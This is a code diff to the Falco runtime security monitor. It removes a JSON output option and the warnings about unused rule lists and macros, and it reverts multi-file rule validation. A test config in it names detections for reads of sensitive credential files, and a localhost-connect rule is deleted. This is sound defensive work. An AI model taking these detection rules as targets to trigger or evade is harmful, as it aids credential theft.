@@ -353,8 +348,8 @@ class FalcoTest(Test):
trace_arg = "-e {}".format(self.trace_file)
# Run falco
cmd = '{} {} {} -c {} {} -o json_output={} -o json_include_output_property={} -o priority={} -v'.format(
self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.json_include_output_property, self.priority)
cmd = '{} {} {} -c {} {} -o json_output={} -o priority={} -v'.format(
self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.priority)
for tag in self.disable_tags:
cmd += ' -T {}'.format(tag)

View File

@@ -655,19 +655,3 @@ trace_files: !mux
- rules/rule_append_false.yaml
trace_file: trace_files/cat_write.scap
json_output_no_output_property:
json_output: True
json_include_output_property: False
detect: True
detect_level: WARNING
rules_file:
- rules/rule_append.yaml
trace_file: trace_files/cat_write.scap
stdout_contains: "^(?!.*Warning An open of /dev/null was seen.*)"
in_operator_netmasks:
detect: True
detect_level: INFO
rules_file:
- rules/detect_connect_using_in.yaml
trace_file: trace_files/connect_localhost.scap

View File

@@ -86,7 +86,6 @@ traces: !mux
detect_level: WARNING
detect_counts:
- "Read sensitive file untrusted": 1
- "Read sensitive file trusted after startup": 1
read-sensitive-file-untrusted:
trace_file: traces-positive/read-sensitive-file-untrusted.scap

View File

@@ -1,6 +0,0 @@
- rule: Localhost connect
desc: Detect any connect to the localhost network, using fd.net and the in operator
condition: evt.type=connect and fd.net in ("127.0.0.1/24")
output: Program connected to localhost network
(user=%user.name command=%proc.cmdline connection=%fd.name)
priority: INFO

View File

@@ -88,8 +88,7 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al
// formats.formatter is used, so we can unconditionally set
// json_output to false.
bool json_output = false;
bool json_include_output_property = false;
falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
falco_formats::init(m_inspector, m_ls, json_output);
m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info, m_min_priority);
}

View File

@@ -25,7 +25,6 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
sinsp* falco_formats::s_inspector = NULL;
bool falco_formats::s_json_output = false;
bool falco_formats::s_json_include_output_property = true;
sinsp_evt_formatter_cache *falco_formats::s_formatters = NULL;
const static struct luaL_reg ll_falco [] =
@@ -37,11 +36,10 @@ const static struct luaL_reg ll_falco [] =
{NULL,NULL}
};
void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property)
void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
{
s_inspector = inspector;
s_json_output = json_output;
s_json_include_output_property = json_include_output_property;
if(!s_formatters)
{
s_formatters = new sinsp_evt_formatter_cache(s_inspector);
@@ -157,12 +155,8 @@ int falco_formats::format_event (lua_State *ls)
event["time"] = iso8601evttime;
event["rule"] = rule;
event["priority"] = level;
if(s_json_include_output_property)
{
// This is the filled-in output line.
event["output"] = line;
}
// This is the filled-in output line.
event["output"] = line;
full_line = writer.write(event);

View File

@@ -31,7 +31,7 @@ class sinsp_evt_formatter;
class falco_formats
{
public:
static void init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property);
static void init(sinsp* inspector, lua_State *ls, bool json_output);
// formatter = falco.formatter(format_string)
static int formatter(lua_State *ls);
@@ -48,5 +48,4 @@ class falco_formats
static sinsp* s_inspector;
static sinsp_evt_formatter_cache *s_formatters;
static bool s_json_output;
static bool s_json_include_output_property;
};

View File

@@ -76,8 +76,7 @@ function expand_macros(ast, defs, changed)
if (defs[ast.value.value] == nil) then
error("Undefined macro '".. ast.value.value .. "' used in filter.")
end
defs[ast.value.value].used = true
ast.value = copy_ast_obj(defs[ast.value.value].ast)
ast.value = copy_ast_obj(defs[ast.value.value])
changed = true
return changed
end
@@ -89,8 +88,7 @@ function expand_macros(ast, defs, changed)
if (defs[ast.left.value] == nil) then
error("Undefined macro '".. ast.left.value .. "' used in filter.")
end
defs[ast.left.value].used = true
ast.left = copy_ast_obj(defs[ast.left.value].ast)
ast.left = copy_ast_obj(defs[ast.left.value])
changed = true
end
@@ -98,8 +96,7 @@ function expand_macros(ast, defs, changed)
if (defs[ast.right.value] == nil) then
error("Undefined macro ".. ast.right.value .. " used in filter.")
end
defs[ast.right.value].used = true
ast.right = copy_ast_obj(defs[ast.right.value].ast)
ast.right = copy_ast_obj(defs[ast.right.value])
changed = true
end
@@ -112,8 +109,7 @@ function expand_macros(ast, defs, changed)
if (defs[ast.argument.value] == nil) then
error("Undefined macro ".. ast.argument.value .. " used in filter.")
end
defs[ast.argument.value].used = true
ast.argument = copy_ast_obj(defs[ast.argument.value].ast)
ast.argument = copy_ast_obj(defs[ast.argument.value])
changed = true
end
return expand_macros(ast.argument, defs, changed)
@@ -287,28 +283,11 @@ function get_evttypes(name, ast, source)
return evttypes
end
function compiler.expand_lists_in(source, list_defs)
for name, def in pairs(list_defs) do
local begin_name_pat = "^("..name..")([%s(),=])"
local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
local end_name_pat = "([%s(),=])("..name..")$"
source, subcount1 = string.gsub(source, begin_name_pat, table.concat(def.items, ", ").."%2")
source, subcount2 = string.gsub(source, mid_name_pat, "%1"..table.concat(def.items, ", ").."%3")
source, subcount3 = string.gsub(source, end_name_pat, "%1"..table.concat(def.items, ", "))
if (subcount1 + subcount2 + subcount3) > 0 then
def.used = true
end
end
return source
end
function compiler.compile_macro(line, macro_defs, list_defs)
line = compiler.expand_lists_in(line, list_defs)
for name, items in pairs(list_defs) do
line = string.gsub(line, name, table.concat(items, ", "))
end
local ast, error_msg = parser.parse_filter(line)
@@ -346,7 +325,14 @@ end
--]]
function compiler.compile_filter(name, source, macro_defs, list_defs)
source = compiler.expand_lists_in(source, list_defs)
for name, items in pairs(list_defs) do
local begin_name_pat = "^("..name..")([%s(),=])"
local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
local end_name_pat = "([%s(),=])("..name..")$"
source = string.gsub(source, begin_name_pat, table.concat(items, ", ").."%2")
source = string.gsub(source, mid_name_pat, "%1"..table.concat(items, ", ").."%3")
source = string.gsub(source, end_name_pat, "%1"..table.concat(items, ", "))
end
local ast, error_msg = parser.parse_filter(source)

View File

@@ -347,13 +347,13 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
if (state.lists[item] == nil) then
items[#items+1] = item
else
for i, exp_item in ipairs(state.lists[item].items) do
for i, exp_item in ipairs(state.lists[item]) do
items[#items+1] = exp_item
end
end
end
state.lists[v['list']] = {["items"] = items, ["used"] = false}
state.lists[v['list']] = items
end
for i, name in ipairs(state.ordered_macro_names) do
@@ -361,7 +361,7 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
local v = state.macros_by_name[name]
local ast = compiler.compile_macro(v['condition'], state.macros, state.lists)
state.macros[v['macro']] = {["ast"] = ast.filter.value, ["used"] = false}
state.macros[v['macro']] = ast.filter.value
end
for i, name in ipairs(state.ordered_rule_names) do
@@ -443,21 +443,6 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
end
end
if verbose then
-- Print info on any dangling lists or macros that were not used anywhere
for name, macro in pairs(state.macros) do
if macro.used == false then
print("Warning: macro "..name.." not refered to by any rule/macro")
end
end
for name, list in pairs(state.lists) do
if list.used == false then
print("Warning: list "..name.." not refered to by any rule/macro/list")
end
end
end
io.flush()
end

View File

@@ -67,7 +67,6 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
}
m_json_output = m_config->get_scalar<bool>("json_output", false);
m_json_include_output_property = m_config->get_scalar<bool>("json_include_output_property", true);
falco_outputs::output_config file_output;
file_output.name = "file";

View File

@@ -167,7 +167,6 @@ class falco_configuration
std::list<std::string> m_rules_filenames;
bool m_json_output;
bool m_json_include_output_property;
std::vector<falco_outputs::output_config> m_outputs;
uint32_t m_notifications_rate;
uint32_t m_notifications_max_burst;

View File

@@ -111,8 +111,7 @@ static void usage()
" single line emitted by falco to be flushed, which generates higher CPU\n"
" usage but is useful when piping those outputs into another process\n"
" or into a script.\n"
" -V,--validate <rules_file> Read the contents of the specified rules(s) file and exit\n"
" Can be specified multiple times to validate multiple files.\n"
" -V,--validate <rules_file> Read the contents of the specified rules file and exit\n"
" -v Verbose output.\n"
" --version Print version number.\n"
"\n"
@@ -246,7 +245,7 @@ int falco_init(int argc, char **argv)
string pidfilename = "/var/run/falco.pid";
bool describe_all_rules = false;
string describe_rule = "";
list<string> validate_rules_filenames;
string validate_rules_file = "";
string stats_filename = "";
bool verbose = false;
bool all_events = false;
@@ -283,7 +282,7 @@ int falco_init(int argc, char **argv)
{"pidfile", required_argument, 0, 'P' },
{"unbuffered", no_argument, 0, 'U' },
{"version", no_argument, 0, 0 },
{"validate", required_argument, 0, 'V' },
{"validate", required_argument, 0, 0 },
{"writefile", required_argument, 0, 'w' },
{0, 0, 0, 0}
@@ -397,7 +396,7 @@ int falco_init(int argc, char **argv)
verbose = true;
break;
case 'V':
validate_rules_filenames.push_back(optarg);
validate_rules_file = optarg;
break;
case 'w':
outfile = optarg;
@@ -461,17 +460,10 @@ int falco_init(int argc, char **argv)
}
}
if(validate_rules_filenames.size() > 0)
if(validate_rules_file != "")
{
falco_logger::log(LOG_INFO, "Validating rules file(s):\n");
for(auto file : validate_rules_filenames)
{
falco_logger::log(LOG_INFO, " " + file + "\n");
}
for(auto file : validate_rules_filenames)
{
engine->load_rules_file(file, verbose, all_events);
}
falco_logger::log(LOG_INFO, "Validating rules file: " + validate_rules_file + "...\n");
engine->load_rules_file(validate_rules_file, verbose, all_events);
falco_logger::log(LOG_INFO, "Ok\n");
goto exit;
}
@@ -547,7 +539,6 @@ int falco_init(int argc, char **argv)
}
outputs->init(config.m_json_output,
config.m_json_include_output_property,
config.m_notifications_rate, config.m_notifications_max_burst,
config.m_buffered_outputs);

View File

@@ -52,9 +52,7 @@ falco_outputs::~falco_outputs()
}
}
void falco_outputs::init(bool json_output,
bool json_include_output_property,
uint32_t rate, uint32_t max_burst, bool buffered)
void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered)
{
// The engine must have been given an inspector by now.
if(! m_inspector)
@@ -67,7 +65,7 @@ void falco_outputs::init(bool json_output,
// Note that falco_formats is added to both the lua state used
// by the falco engine as well as the separate lua state used
// by falco outputs.
falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
falco_formats::init(m_inspector, m_ls, json_output);
falco_logger::init(m_ls);

View File

@@ -41,9 +41,7 @@ public:
std::map<std::string, std::string> options;
};
void init(bool json_output,
bool json_include_output_property,
uint32_t rate, uint32_t max_burst, bool buffered);
void init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered);
void add_output(output_config oc);